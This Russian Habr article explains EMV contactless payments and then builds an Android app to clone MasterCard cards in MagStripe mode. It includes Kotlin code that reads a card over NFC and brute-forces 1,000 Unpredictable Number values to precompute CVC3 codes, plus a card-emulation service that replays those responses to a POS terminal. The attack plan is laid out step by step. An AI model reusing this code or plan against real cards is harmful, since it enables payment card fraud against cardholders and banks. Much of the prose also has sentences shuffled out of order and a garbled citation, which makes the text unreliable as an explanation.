Хабрахабр

Клонируем бесконтактную карту с помощью мобильного приложения

Всегда было интересно посмотреть, что происходит у банковской карточки под «капотом». Как реализуется протокол общения банковской карточки и POS-терминала, как это работает и насколько это безопасно. Такая возможность предстала передо мной, когда я проходил стажировку в компании Digital Security. В результате при разборе одной известной уязвимости EMV карт в MagStripe-режиме, было решено реализовать мобильное приложение, которые способно общаться с терминалом по бесконтактному интерфейсу, с использованием своих команд и подробным разбором запросов и ответов. А также попробовать реализовать способ клонирования карт MasterCard в режиме MagStripe.
В этой статье я постараюсь описать, что такое EMV-карта, как она работает и как используя Android можно попытаться клонировать вашу MasterCard карту.

For everything else, there's MasterCard» «There are some things money can't buy.

Что такое EMV карта?

EMV — это международный стандарт для банковских карт с чипом. В разработке этого стандарта принимали участия Europay + MasterCard + VISA, отсюда и название. Попробуем разобраться, как же все таки карта общается с POS-терминалом по бесконтактному интерфейсу.

Начнем с самых основ.

Если базисно то, чип попадает в электромагнитное поле, а в замкнутом проводящем контуре (в нашем случае это будет антенна, расположенная по периметру), помещенном в переменное магнитное поле, образуется переменный электрический ток. Бесконтактная EMV карта на физическом уровне работает почти так же, как и RFID метка. Энергия, запасенная в конденсаторе, используется для выполнения микросхемой карты различных операций. Этот ток заряжает специальный конденсатор, подключенный параллельно к резонансному контуру карты. Используя модуляцию сигнала, мы можем передавать информацию в бинарном виде. Когда ридер изменяет электромагнитное поле, изменения сразу будут заметны на чипе. Ридеру останется детектировать эти изменения. Если на карте подключить нагрузочное сопротивление и или изменить емкость конденсатора, то можно изменить силу тока в контуре карты, что приведет к изменению создаваемого им электромагнитного поля в области контура ридера, таким образом карточка передает данные. Подобное физическое взаимодействие регламентируется стандартом ISO/IEC 14443 “Identification Cards — Contactless integrated circuit(s) cards — Proximity cards”.

На JavaCard загружаются апплеты, которые, и являются приложениями. Сам чип карты представляет собой смарт карту, на которой работает JavaCard, отдельная версия Java для платформ с малыми вычислительными ресурсами и поддержкой криптографических алгоритмов. В этой статье механизмы безопасности самой смарт карты мы рассматривать не будем. Также существует GlobalPlatform это некий стандарт для JavaCard, который предоставляет возможность безопасного управления данными на карте и позволяет загружать, изменять и удалять приложения на карте. Достаточно знать, что защищенные данные, например приватный ключ и секретный мастер ключ карты лежат в защищенном месте и вытащить их стандартными средствами невозможно.

Далее будем называть это устройство просто терминалом.
Банк эмитент — это банк, который выпустил вашу карту.
Банк эквайер — банк, который выдает продавцам POS-терминалы и обрабатывает платежи с них.
Платежная система — центральное звено между банком эквайером и банком эмитентом, через нее проходят абсолютно все платежи, и она знает какой банк какому сколько должен перевести денег. Также еще напомню немного терминологии, для тех, кто не знаком.
POS-терминал (Point of Sale) — устройство продавца, которое считывает карту и инициирует платеж. Платежных систем в мире не мало, кроме всем известных Visa и MasterCard есть ещё и American Express, China UnionPay и российская платежная система МИР.

Они посылают друг другу APDU-команды в виде Tag-Length-Value т.е. Хорошо, карта и ридер могут общаться. Все команды описаны конечно же в документации и выглядят примерно так: передается название тэга в шестнадцатеричном виде, его длина и само значение.

image

Стандартная EMV транзакция проходит в несколько этапов, я опишу полный алгоритм взаимодействия в случае контактного интерфейса, для бесконтактного интерфейса алгоритм несколько укорочен:

  • Выбор приложения;
  • Инициализация обработки приложения;
  • Считывание данных приложения;
  • Офлайн аутентификация;
  • Обработка ограничений;
  • Проверка держателя карты;
  • Риск-менеджмент на стороне терминала;
  • Анализ действий терминала;
  • Риск-менеджмент на стороне карты;
  • Анализ действий карты;
  • Процессинг в режиме on-line;
  • Завершение операции.

image

Коротко рассмотрим каждую операцию.

Часто бывает, что на одной карте может быть несколько приложений. Выбор приложения. И терминалу как-то необходимо разобраться, где и какой алгоритм ему использовать. Например, банковская карта и проездной билет. Что бы в этом разобраться терминал посылает команду SELECT. Для выбора приложения используются так называемые Идентификационные Коды приложения (Application Identifier – AID). Если в ответ придет несколько таких кодов и терминал умеет работать с несколькими приложениями, то терминал выведет на экран список и предложит выбрать нужное нам приложение. Например, AID карты Visa Classic будет выглядеть следующим образом: A0000000031010. Если терминал не поддерживает ни один из кодов приложений, то операция будет отклонена терминалом.

Здесь сначала проверяется географическое место пребывания. Инициализация обработки приложения. Этот этап сделан для того, чтобы предоставить эмитентам возможность применять существующие онлайн методы риск-менеджмента при проведении офлайн операций. Например, карты Maestro Momentum могут работать для оплаты только в России. Далее карта передает терминалу набор специально структурированной информации, содержащей описание функциональности карты и приложения. На этом этапе EMV-транзакция может быть отменена по инициативе самой карты, если данный тип операции запрещен в данной стране мира эмитентом.

Терминалу передаются различные данные карты необходимые для транзакции, например номер карты, expiration date, счетчик транзакций и много других данных. Считывание данных приложения. О некоторых из них будет сказано далее.

Пример данных:

image

Для того чтобы терминал был способен проверить цифровую подпись некоторых данных карты используется PKI-инфраструктура (Public Key Infrastructure). Также передается сертификат публичного ключа банка эмитента и самой карты. По сути платежная система для каждого банка эмитента выпускает новую пару ключей, и при этом формирует сертификат публичного ключа банка эмитента, подписывая его приватным ключом CA. Вкратце, у платежной системы есть пара ключей — публичный и приватный и платежная система является для всех участников CA (Center Authority). В терминалах обычно зашит сертификат публичного ключа для различных платежных систем. Далее, когда банк выпускает новую карту, он соответственно генерирует для карточки пару ключей, и также формирует сертификат публичного ключа карты, подписывая его с помощью приватного ключа банка. Терминал с помощью публичного ключа платежной системы сначала проверяет подлинность сертификата банка эмитента, если он подлинный, то значит ему можно доверять и теперь с помощью сертификата банка эмитента можно проверить сертификат самой карты. Таким образом, когда карточка передает сертификат публичного ключа банка эмитента и сертификат самой карты, терминал может с легкостью проверить всю цепочку, используя публичный ключ платежной системы. Более подробней в статье про безопасность EMV

Терминал определяет тип поддерживаемого метода оффлайн аутентификации. Офлайн аутентификация. Эти методы также построены на основе PKI. Существует статичная (Static Data Authentication – SDA), динамическая (Dynamic Data Authentication – DDA) и комбинированная (Combined Data Authentication – CDA). CDA это просто комбинация обоих способов. SDA это просто подписанные данные на приватном ключе банка эмитента, DDA — терминал посылает какое-то случайное число и карточка должна подписать его, используя свой приватный ключ, а терминал проверит эту подпись используя полученный ранее сертификат карты, таким образом терминал удостовериться в том, что карточка и правда обладает приватным ключом — следовательно является подлинной.

Здесь терминал проверяет полученные ранее данные с карты на условие пригодности для данной операции. Обработка ограничений. Также производится проверка версии приложения. Например, проверяет срок начала/окончания действия приложения Application Expiration Date (Tag '5F24') и Application Effective Date (Tag '5F25'). По результатам этого этапа транзакция не может быть отменена, даже в случае, если, например, срок действия приложения истек. Результаты операций, проводимых на данном этапе, также записываются в отчет TVR (Terminal verification results).

Верификация держателя карты производится для того, чтобы аутентифицировать человека, предоставившего карту и проверить, является ли он подлинным владельцем карты. Проверка держателя карты. Методы верификации определены как на терминале, так и на карте. Стандарт EMV предоставляет различные методы верификации держателя карты (Cardholder Verification Method). В процессе выполнения, терминал и карточка сравнивают полученные CVM-листы и выбирают общий метод верификации. Они содержатся в так называемых CVM-листах. Список поддерживаемых методов верификации:

  • No CVM required (‘011111’b);
  • Fail CVM processing (‘000000’b);
  • Signature (‘011110’b);
  • Enciphered PIN verified online (‘000010’b);
  • Plaintext PIN verification performed by ICC (‘000001’b);
  • Plaintext PIN verification performed by ICC and signature (‘000011’b);
  • Enciphered PIN verification performed by ICC (‘000100’b);
  • Enciphered PIN verification performed by ICC (‘000100’b).

Вот здесь также есть интересная информация на эту тему.

На этом этапе терминал проводит внутреннюю проверку параметров транзакции, исходя из установок риск-менеджмента банка-эквайера. Риск-менеджмент на стороне терминала. Риск-менеджмент на стороне терминала включает в себя три механизма: Процедуры риск-менеджмента могут быть выполнены терминалом в любое время между моментами завершения процесса чтения данных карты и формирования терминалом первой команды GENERATE AC.

  • контроль размера операций, выполненных по карте (Floor Limit Checking);
  • случайный выбор транзакции для онлайн авторизации этой транзакции эмитентом (Random Transaction Selection);
  • проверка офлайн активности использования карты (Velocity Checking).

На этом этапе терминал анализирует результаты предыдущих шагов транзакции. Анализ действий терминала. По результатам анализа терминал принимает решение о том, следует ли провести операцию в online-режиме, разрешить ее проведение в офлайн режиме или отклонить операцию.

Карта, получив из команды GENERATE AC данные, касающиеся транзакции, терминала и результатов проверок терминала, в свою очередь выполняет собственные процедуры управления рисками и выносит собственное решение о способе завершения операции. Риск-менеджмент на стороне карты.

На этом этапе карта завершает проведение процедур риск-менеджмента и формирует ответную криптограмму терминалу. Анализ действий карты. Если карта принимает решение о выполнение операции в режиме реального времени, то она формирует ARQC (Authorization Request Cryptogram). Если карта решает одобрить транзакцию, то формируется Transaction Certificate. В случае, если карта отклоняет транзакцию, то Application Authentication Cryptogram. Если карта использует альтернативные методы авторизации, тогда используется Application Authorization Referral.

Эмитент формирует криптограмму ARPC и отсылает криптограмму карте, если карта подтвердит пришедшую криптограмму, то следовательно, эмитент аутентифицирован картой. Еще одна криптограмма ARPC (Authorization Response Cryptogram) нужна для аутентификации эмитента.

М. Немного о безопасности ключей и взаимной аутентификации карты и эмитента из книги И. Голдовского:

Криптограммы представляют собой данные, формируемые с использованием секретного ключа (который известен карте и банку эмитенту), номера транзакции, случайного числа, сгенерированного терминалом, а также некоторых реквизитов транзакции, терминала и карты. Смысл взаимной аутентификации заключается в том, что карта и терминал аутентифицируют друг друга с помощью проверки подлинности криптограмм ARQC и ARPC. Без знания секретного ключа карты для генерации криптограммы вычислить значения ARQC/ARPC невозможно за обозримое время с текущим уровнем технологий, и потому факт их успешной верификации указывает на подлинность карты и эмитента. В случае ARPC к перечисленным данным еще добавляется авторизационный код ответа эмитента. Это связано с тем, что она выполняется непосредственно эмитентом, без посредника в виде терминала. Онлайн аутентификация является наиболее надежным способом аутентификации карты. Использование на карте асимметричных ключей такой длины все еще достаточная редкость. Кроме того, для онлайновой аутентификации используется алгоритм 3DES с временным ключом размером 112 битов, криптостойкость которого соответствует криптостойкости алгоритма RSA с длиной модуля асимметричного ключа, используемого для офлайн аутентификации приложения карты, более 1700 бит. Обычно используются ключи с модулем длиной 1024, 1152 или 1408 бит.

В конечном итоге онлайн транзакция проходит по цепочке:
Карта <--> POS-Терминал <--> Банк Эквайер <--> Платежная Система <--> Банк Эмитент.

image

Клонируем карту MasterCard в режиме MagStripe.

Перейдем непосредственно к принципу клонирования. Данный метод атаки на бесконтактные карты был опубликован двумя исследователями Michael Roland, Josef Langer из Австрийского университета. В его основе лежит общий принцип, который называется Skimming. Это такой сценарий, при котором злоумышленник крадет деньги с банковской карточки путем считывания (копирования) информации с этой карты. В общем случае здесь важно сохранять PIN-код в тайне и не допускать его утечки. Но в методе австрийских ребят это нам знать не нужно. Клонирование платежной карты выполняется успешно для версии ядра приложения EMV Contactless Kernel 2. Версия этого протокола поддерживает два режима работы для бесконтактных карт: EMV протокол (MasterCard PayPass M/Chip) и MagStripe (MasterCard PayPass MagStripe) режим.

Этот режим реализуется на картах MasterCard с бесконтактным интерфейсом. MagStripe — это режим поддержки карт с магнитной полосой. Кстати, у карт Visa также есть аналогичный режим работы — PayWave MSD (Magnetic Stripe Data). Режим MagStripe скорее нужен для банков которым сложно переводить всю инфраструктуру для поддержки чиповых бесконтактных EMV транзакций.

Процесс обработки транзакции для бесконтактных карт урезан в сравнении с чиповыми и обычно работает в следующем режиме:

  1. Терминал отправляет команду SELECT PPSE (Proximity Payment System Environment). Карта шлет список поддерживаемых приложений.
  2. Терминал отправляет команду SELECT. В ответ получает необходимые детали приложения.
  3. Терминал отправляет команду GET_PROCESSING_OPTIONS. Карта отвечает какой тип аутентификации она поддерживает и существует ли там верификация держателя карты.
  4. Терминал отправляет команду READ_RECORDS. Карта в ответе посылает Track1 и Track2 практически аналогичный тому, что записан на магнитной полосе карты.
  5. Терминал отправляет команду COMPUTE_CRYPTOGRAPHIC_CHECKSUM. Которая означает, что карта должна на основе переданного Unpredictable Number сгенерировать значение CVC3.

image

Как это все выглядит в реальной жизни?

Это выглядит как APDU команды. Список всех тэгов
APDU — Application Protocol Data Unit — это условное обозначение кадра с командой карте или ответом карты.
На хабре есть пара статей на эту тему тут и тут

Карта поддерживает специальную команду COMPUTE CRYPTOGRAPHIC CHECKSUM, аргументом которой являются данные, определенные в объекте Unpredictable Number Data Object (UDOL). В результате карта с помощью алгоритма 3DES и секретного ключа вычисляет динамическую величину CVC3 (Card Verification Code). В качестве аргумента функции 3DES используется конкатенация данных UDOL и счетчика транзакции (Application Transaction Counter,ATC). Таким образом, значение величины CVC3 всегда зависит от объектов UN и ATC.

Однако, в этой подписи отсутствует подпись самой транзакции. Другими словами, эта команда нужна, чтобы карта сгенерировала некую “подпись” для того, чтобы эмитент мог верифицировать карту. При этом также для генерации подписи POS-терминал сообщает карте UN (Unpredictable Number) — 4 байта, который также используется в генерации подписи. В подписи содержатся значения ATC — 2 байта, CVC3 (Track1) — 2 байта, CVC3 (Track2) — 2 байта, которые генерируются картой на основе секретного ключа, который также знает банк-эмитент и счетчика транзакций (ATC). Для атаки нам сильно мешает UN, поскольку 4 байта не представляется возможным перебрать, не выйдя за пределы счетчика транзакций. Unpredictable Number препятствует формированию кодов аутентификации на реальной карте для последующего использования в мошеннических транзакциях. Однако, в спецификации этого есть некоторые слабости.

Таким образом, количество UN уменьшается с 4,294,967,295 до 99,999,999. Во-первых, спецификация ограничивает UN кодировкой чисел, а именно Двоично-Десятичным Кодом (BCD), что по сути означает что, если мы посмотрим на такое закодированное число в HEX, то мы увидим только цифры от 0 до 9, все остальные значения считаются как бы запрещенными.

Таким образом в зависимости от специальных параметров в треках количество цифр в UN может быть от 10 до 10000 в зависимости от типа карты, на практике чаще всего встречается 1000 значений. Во-вторых, количество значащих цифр UN определяется картой.

Таким образом план атаки выглядит следующий:

  1. Считываем карту и узнаем количество значащих цифр у UN, которое будет предоставлять терминал
  2. Перебираем все UN, получаем все возможные значения функции COMPUTE_CRYPTOGRAHIC_CHECKSUM, сохраняем их в соответствующей таблице с мапингом UN -> Result
  3. Подносим к POS-терминалу, узнаем число, которое просит POS-терминал.
  4. Выбираем из таблицы нужный результат и подставляем его в ответ терминалу.
  5. Транзакция уходит.
  6. PROFIT. Но успех одобрения транзакции не гарантирован, поскольку банк эмитент может отклонить такую транзакцию.

image

Кроме того, счетчик транзакций ограничен 2 байтам, что означает, что мы можем выполнить не более 65 циклов клонирования карты, после этого карта скорее всего перестанет работать. Стоит отметить также, что счетчик транзакций (ATC) препятствует повторному использованию ранее использованных кодов аутентификации, а значит что если мы использовали такую атаку, то необходимо копировать карту заново, поскольку счетчик транзакции уже использовался для получения информации и был использован в подписи, что значит, что если мы имели счетчик транзакций 1000, а после отправили транзакцию в банк, то банк уже не примет транзакции со счетчиком ниже <1001.

Конечно, кроме COMPUTE_CRYPTOGRAPHIC_CHECKSUM. В большинстве случаев передаваемые данные с карты статические для всех транзакций. Эти три команды обязательны для генерации CVC3. Для генерации динамического CVC3 кода, приложение карты должно быть прочитано командой SELECT, затем GET_PROCESSING_OPTIONS, а только потом COMPUTE_CRYPTOGRACHIC_CHECKSUM и это довольно важный момент. По данным эксперимента используя всего лишь эти три команды, перебор 1000 значений на Google Galaxy Nexus S занял всего одну минуту.

Он прекрасно работает с различными NFC-считывателями и считывателями смарт карт. Для работы с терминалом и картой использовалась программа Terminal Simulator от MasterCard. Он позволяет тестировать карты при различных настройках POS-терминала и ведет подробный лог всех запросов от терминала и ответов карты. К тому же он абсолютно бесплатен. Также его можно использовать для тестирования приложения на телефоне, работающего в режиме карты.
image

Для чтения карты использовался NFC считыватель ACR122.
image

Приложение будем писать на языке Kotlin под Android. Теперь давайте попробуем все это преобразовать в код. Сначала попытаемся описать общую структуру команды.

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2)
}

Для начала нам нужно настроить работу с NFC. На телефоне мы можем работать в двух режимах. В режиме карты, это когда мы отвечаем на команды от терминала, и в режиме терминала когда отсылаем команды и производим считывание, например карты. Т.е. сначала мы можем клонировать карту, а потом сделать так чтобы на запросы от терминала мы отвечали уже заготовленными командами.
Далее упрощенная реализация взаимодействия с NFC:

private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null
.... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) }
..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv }

Здесь описывается последовательность команд и перебор значений Unpredictable Number в цикле от 0 до 999, в нужную нам команду изменяем Nc на «00000${String.format(»%03d", i)}".replace("..(?!$)".toRegex(), "$0 "). И не забываем выполнять GET_PROCESSING_OPTIONS каждый раз перед COMPUTE_CRYPTOGRAPHIC_CHECKSUM иначе чек сумма подсчитываться не будет.

Здесь же мы получаем Имя и Номер карточки, можем отобразить это на экране. В результате это все можно записать в файл и использовать уже при работе с настоящим терминалом.

private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) // На основе предыдущего запроса формируем новый val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead()
}

Набор команд, которые нам необходимы.

object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00")
}

В этом сервисе в processCommandApdu приходит команда от терминала, мы сопоставляем ее с той, что у нас хранится в файле, и отдаем ответ, который записан следующей строкой.
Чтобы реализовать прослушку команд от терминала, надо запустить свой сервис и объявить его в манифесте.

<service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service>

class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray {
commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray()
}

Считываем карту и парсим лог: Пара скриншотов из приложения.

Но к счастью или к сожалению для кого-то, это атака не работает в России. Таким образом можно смоделировать работу бесконтактной EMV карты на телефоне с данными карты. Кроме того, у нас не получилось провести офлайн транзакцию с использованием MagStripe. По нашим экспериментам транзакция все время доходила до банка эмитента и отклонялась самим банком. Однако, подобная атака вполне может быть реализована в других странах, где использование MagStripe режима вполне обычное дело и алгоритм риск менеджмента немного другой, например в США.

М. Ссылки с помощью которых появилась данная статья.
Банковские микропроцессорные карты / И. — 686 с.
EMV-проект: step-by-step
Ресерч австрийских исследователей
Ссылка на код приложения
Terminal Simulator.
Спасибо barracud4 за помощь в подготовке к статье. Голдовский — М.: ЦИПСиР: Альпина Паб лишерз, 2010.

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»